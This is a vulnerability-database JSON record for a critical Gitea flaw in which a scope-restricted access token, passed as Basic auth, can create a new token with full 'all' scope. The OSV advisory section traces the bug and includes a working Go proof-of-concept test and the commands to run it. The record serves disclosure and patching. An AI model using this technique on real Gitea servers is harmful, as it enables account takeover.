{"id":"GHSA-683j-3ff6-hh2x","revision":null,"records":[{"revision":"cb32594d9b4e4478b2557db002c61e13","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-56654","aliases":[],"title":"Privilege Escalation via Access Token Scope Escalation in API","description":"Privilege Escalation via Access Token Scope Escalation in API","state":0,"publishedAt":"2026-08-13T16:44:42.89+00:00","modifiedAt":"2026-08-14T19:19:59.583+00:00","affected":[{"ecosystem":"Vendor product","name":"Gitea Open Source Git Server","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Gitea\",\n                    \"product\": \"Gitea Open Source Git Server\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"lessThanOrEqual\": \"1.26.4\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ],\n                    \"defaultStatus\": \"unaffected\"\n                }"}],"metrics":[],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-683j-3ff6-hh2x","https://github.com/go-gitea/gitea/releases/tag/v1.27.0","https://blog.gitea.com/gitea-1.27.0-is-released/"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-56654","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-56654","identifiers":["CVE-2026-56654"]},"retained":false,"historicalAffected":[]},{"revision":"584c061a6d5c449791403b2904dc2d1e","observedAt":"2026-11-19T20:58:20.527+00:00","statement":{"source":"euvd","id":"EUVD-2026-58143","aliases":["CVE-2026-56654","GHSA-683j-3ff6-hh2x"],"title":"Privilege Escalation via Access Token Scope Escalation in API","description":"Privilege Escalation via Access Token Scope Escalation in API","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":null}],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-683j-3ff6-hh2x","https://github.com/go-gitea/gitea/releases/tag/v1.27.0","https://blog.gitea.com/gitea-1.27.0-is-released/"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-58143","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 13, 2026, 4:44:42 PM","dateUpdated":"Aug 14, 2026, 7:19:59 PM"},"relatedAdvisories":[{"id":"WID-SEC-W-2026-2304","title":"Gitea: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2026-58417","CVE-2026-58420","CVE-2026-58425","CVE-2026-58427","CVE-2026-58428","CVE-2026-58429","CVE-2026-58431","CVE-2026-58432","CVE-2026-58433","CVE-2026-58434","CVE-2026-58435","CVE-2026-58436","CVE-2026-58437","CVE-2026-58438","CVE-2026-58439","CVE-2026-58440","CVE-2026-58441","CVE-2026-58442","CVE-2026-58443","CVE-2026-58444","CVE-2026-58445","CVE-2026-58507","CVE-2026-58508","CVE-2026-58510","CVE-2026-58511","CVE-2026-59763","CVE-2026-59765","CVE-2026-59766","CVE-2026-23603","CVE-2026-42931","CVE-2026-50105","CVE-2026-54481","CVE-2026-55982","CVE-2026-55984","CVE-2026-55986","CVE-2026-55987","CVE-2026-56443","CVE-2026-56654","CVE-2026-56657","CVE-2026-56750","CVE-2026-56755","CVE-2026-57886","CVE-2026-57894","CVE-2026-57897","CVE-2026-58314","CVE-2026-58416"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-58143","identifiers":["EUVD-2026-58143","CVE-2026-56654","GHSA-683j-3ff6-hh2x"]},"retained":false,"historicalAffected":[]},{"revision":"c5516e37b5044622bdb74d93d8092eff","observedAt":"2026-10-25T14:19:10.848+00:00","statement":{"source":"nvd","id":"CVE-2026-56654","aliases":[],"title":"Privilege Escalation via Access Token Scope Escalation in API","description":"Privilege Escalation via Access Token Scope Escalation in API","state":0,"publishedAt":"2026-08-13T17:17:25.36+00:00","modifiedAt":"2026-08-26T16:53:48.3+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · 134c704f-9b21-4f2e-91b3-4a467353bcc0 · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://blog.gitea.com/gitea-1.27.0-is-released/","https://github.com/go-gitea/gitea/releases/tag/v1.27.0","https://github.com/go-gitea/gitea/security/advisories/GHSA-683j-3ff6-hh2x"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-56654","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-284"],"productCriteria":[],"sourceDates":{"published":"2026-08-13T17:17:25.360","lastModified":"2026-08-26T16:53:48.300"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-56654","identifiers":["CVE-2026-56654"]},"retained":false,"historicalAffected":[]},{"revision":"427e6cefd8ef4a7eb76df66f1245068c","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-683j-3ff6-hh2x","aliases":["CVE-2026-56654","GO-2026-6034"],"title":"Gitea: Privilege Escalation via Access Token Scope Escalation in API","description":"Gitea's API endpoint for creating Personal Access Tokens (`POST /users/{username}/tokens`) is protected by a middleware (`reqBasicOrRevProxyAuth`) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the `Authorization: Basic <token>:x-oauth-basic` format, the Basic auth handler validates it and sets `AuthedMethod=\"basic\"`, causing `IsBasicAuth=true` and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling — it will create a new token with any requested scope regardless of the caller's scope. An attacker with a restricted token (e.g. `write:user` from a leaked CI secret) can therefore create a fully-privileged `all`-scoped token without knowing the account password.\n\n### Data flow\n\n#### Step 1 - Token extracted from Basic auth header\n  \nWhen the attacker sends Authorization: Basic base64(<token>:x-oauth-basic), parseAuthBasic detects that the password is \"x-oauth-basic\" and treats the username field as the token:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L55-L64\n\n`VerifyAuthToken` then validates the token against the database and sets `LoginMethod = \"access_token\"` and `ApiTokenScope` to the token's actual scope (`write:user`):\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L100-L106\n\n#### Step 2 - `AuthedMethod` is set to `\"basic\"`, not `\"access_token\"`\n\n`Basic.Verify()` returns the user successfully, so `group.Verify()` sets `AuthedMethod` to the method's name — `\"basic\"` — regardless of whether a password or token was used:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/group.go#L63-L65\n\n#### Step 3 - `IsBasicAuth` is incorrectly set to true\n\n`AuthShared` computes `IsBasicAuth` by comparing `AuthedMethod` against the constant `\"basic\"`. Since step 2 set that field to \"basic\" for a token-authenticated request, the flag is wrong:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/common/auth.go#L27\n\n#### Step 4 - The guard is bypassed\n\n`reqBasicOrRevProxyAuth` checks only `ctx.IsBasicAuth`. Because that flag is `true`, the middleware passes and the request reaches `CreateAccessToken`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/api.go#L392-L401\n\n#### Step 5 - No scope ceiling in the handler\n\n`CreateAccessToken` normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of `ApiTokenScope (write:user)`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/app.go#L119-L128\n\n### Reproducing\n\n`tests/integration/api_token_scope_escalation_test.go`\n```go\npackage integration\n\nimport (\n\t\"net/http\"\n\t\"testing\"\n\n\tauth_model \"gitea.dev/models/auth\"\n\t\"gitea.dev/models/unittest\"\n\tuser_model \"gitea.dev/models/user\"\n\tapi \"gitea.dev/modules/structs\"\n\t\"gitea.dev/tests\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\n// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two\n// interconnected vulnerabilities that together allow full scope escalation:\n//\n//  1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in\n//     the Authorization: Basic \"<token>:x-oauth-basic\" format. The Basic auth\n//     handler sets AuthedMethod=\"basic\" (the method name), so IsBasicAuth=true\n//     even though the credential is a token, not a password.\n//\n//  2. CreateAccessToken performs no scope-ceiling check — it never verifies that\n//     the requested scopes are a subset of the caller's token scopes.\n//\n// Combined effect: an attacker with a write:user-scoped token can create a new\n// token with the \"all\" scope, gaining full access to the account.\nfunc TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) {\n\tdefer tests.PrepareTestEnv(t)()\n\n\t// Non-admin user — escalation is meaningful and not trivially justified.\n\tuser := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})\n\n\t// Step 1 — Obtain a legitimately restricted token via password-based Basic auth.\n\t// Only write:user scope is granted; repository, admin, etc. are excluded.\n\trestrictedToken := createAPIAccessTokenWithoutCleanUp(t, \"poc-restricted\", user,\n\t\t[]auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser})\n\tdefer deleteAPIAccessToken(t, restrictedToken, user)\n\n\t// Confirm the restricted token is blocked from repository-scoped endpoints.\n\t// This establishes the baseline: write:user does not imply read:repository.\n\treq := NewRequest(t, \"GET\", \"/api/v1/repos/search\").\n\t\tAddTokenAuth(restrictedToken.Token)\n\tMakeRequest(t, req, http.StatusForbidden)\n\n\t// Step 2 — Exploit: supply the restricted token as Basic auth credentials.\n\t// Authorization: Basic base64(\"<token>:x-oauth-basic\")\n\t//\n\t// Basic.Verify() validates the token and returns the user. group.Verify() then\n\t// sets AuthedMethod=\"basic\" (the method name). auth.go maps that to\n\t// IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no\n\t// password was provided. CreateAccessToken then creates the token with the\n\t// requested \"all\" scope without checking whether it exceeds the caller's scope.\n\tpayload := map[string]any{\n\t\t\"name\":   \"poc-escalated\",\n\t\t\"scopes\": []string{\"all\"},\n\t}\n\treq = NewRequestWithJSON(t, \"POST\", \"/api/v1/users/\"+user.LoginName+\"/tokens\", payload)\n\treq.SetBasicAuth(restrictedToken.Token, \"x-oauth-basic\")\n\n\t// This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed)\n\t// but is currently 201, confirming the vulnerability.\n\tresp := MakeRequest(t, req, http.StatusCreated)\n\n\tescalatedToken := DecodeJSON(t, resp, &api.AccessToken{})\n\trequire.NotNil(t, escalatedToken)\n\tdefer deleteAPIAccessToken(t, *escalatedToken, user)\n\n\t// Step 3 — The escalated token carries the \"all\" scope.\n\tassert.Contains(t, escalatedToken.Scopes, \"all\",\n\t\t\"escalated token scope must be 'all'; original token only had write:user\")\n\n\t// Step 4 — The escalated token can now reach endpoints blocked to the original\n\t// token, confirming real privilege gain beyond write:user.\n\treq = NewRequest(t, \"GET\", \"/api/v1/repos/search\").\n\t\tAddTokenAuth(escalatedToken.Token)\n\tMakeRequest(t, req, http.StatusOK)\n}\n```\n\n```bash\ngit clone https://github.com/go-gitea/gitea\ncd gitea\ngit checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e\n\n# Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`.\n\ngo test -run '^TestAPIPrivilegeEscalationViaBasicAuthToken$' ./tests/integration/\n```\n\nA passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.","state":0,"publishedAt":"2026-07-21T20:24:25+00:00","modifiedAt":"2026-07-22T21:11:33.2692705+00:00","affected":[{"ecosystem":"Go","name":"code.gitea.io/gitea","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.27.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-683j-3ff6-hh2x","https://github.com/go-gitea/gitea/pull/38406","https://github.com/go-gitea/gitea/pull/38426","https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31","https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf","https://github.com/go-gitea/gitea","https://github.com/go-gitea/gitea/releases/tag/v1.27.0"],"sourceUrl":"https://github.com/advisories/GHSA-683j-3ff6-hh2x","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-683j-3ff6-hh2x","identifiers":["GHSA-683j-3ff6-hh2x","CVE-2026-56654","GO-2026-6034"]},"retained":false,"historicalAffected":[]},{"revision":"bd990b839faf47529645ad74d37df268","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6034","aliases":["CVE-2026-56654","GHSA-683j-3ff6-hh2x"],"title":"Gitea: Privilege Escalation via Access Token Scope Escalation in API in gitea.dev","description":"Gitea: Privilege Escalation via Access Token Scope Escalation in API in gitea.dev","state":0,"publishedAt":"2026-07-22T20:36:35+00:00","modifiedAt":"2026-07-22T21:00:25.6545909+00:00","affected":[{"ecosystem":"Go","name":"gitea.dev","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.27.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-683j-3ff6-hh2x","https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31","https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf","https://github.com/go-gitea/gitea/pull/38406","https://github.com/go-gitea/gitea/pull/38426","https://github.com/go-gitea/gitea/releases/tag/v1.27.0"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6034","license":"OSV · upstream source license applies","key":"osv:GO-2026-6034","identifiers":["GO-2026-6034","CVE-2026-56654","GHSA-683j-3ff6-hh2x"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-20T21:47:54.8999438+00:00","complete":true,"records":1790,"lastAttemptAt":"2026-11-20T21:47:54.8999438+00:00","lastSuccessAt":"2026-11-20T21:47:55.096099+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:47:55.0960997+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-ab394367b327976f2e615091908e1dede6760751304792bb06c748f95767cbef-06458e1cc57802c5891e9ed128c2091e7fafc89eb0e76bf9a478b4f5a19e5b96","complete":true,"records":429984,"lastAttemptAt":"2026-11-20T21:46:07.9075861+00:00","lastSuccessAt":"2026-11-20T21:46:07.7897326+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:46:07.9075861+00:00","snapshotPublishedAt":"2026-11-20T21:19:23+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e94511cbee314bc8a6f7f1c517971406","complete":false,"records":13914,"lastAttemptAt":"2026-11-20T21:48:48.3615466+00:00","lastSuccessAt":"2026-11-20T21:48:48.356+00:00","error":"52 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-20T21:48:48.356+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13910,"expectedIdentifiers":13962,"failedIdentifiers":52},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-20T21:47:54.8999438+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-20T21:47:54.8999438+00:00","lastSuccessAt":"2026-11-20T21:47:55.0972032+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:47:55.0972036+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-70b73b30b06d4c579e9231c434b0bb26","complete":false,"records":13926,"lastAttemptAt":"2026-11-20T21:48:20.4042966+00:00","lastSuccessAt":"2026-11-20T21:48:20.4+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:48:20.4+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13944,"expectedIdentifiers":13962,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-a479762f093c173daaf94ab78c6e1c5dc2a2542cfb360d0428239181880c03b4","complete":true,"records":9988,"lastAttemptAt":"2026-11-20T21:47:54.8522629+00:00","lastSuccessAt":"2026-11-20T15:48:09.8429817+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:47:54.8522629+00:00","snapshotPublishedAt":"2026-11-20T15:18:25+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-20T21:46:07.9771913+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:46:07.9771913+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-0d57516b4a7264d7a3e50d41b832d65b6f43cdd6a79ce9e39aca7fd9f0df1b84","complete":true,"records":3208,"lastAttemptAt":"2026-11-20T21:47:54.8659527+00:00","lastSuccessAt":"2026-11-20T18:47:57.1855043+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:47:54.8659527+00:00","snapshotPublishedAt":"2026-11-20T17:03:30+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-6376b86631b8ab9df18a41f5f5342631b4c3060bd612e6b897303fe464a86a58","complete":true,"records":232843,"lastAttemptAt":"2026-11-20T21:47:54.7195057+00:00","lastSuccessAt":"2026-11-20T21:47:53.6119003+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:47:54.7195057+00:00","snapshotPublishedAt":"2026-11-20T21:33:24+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}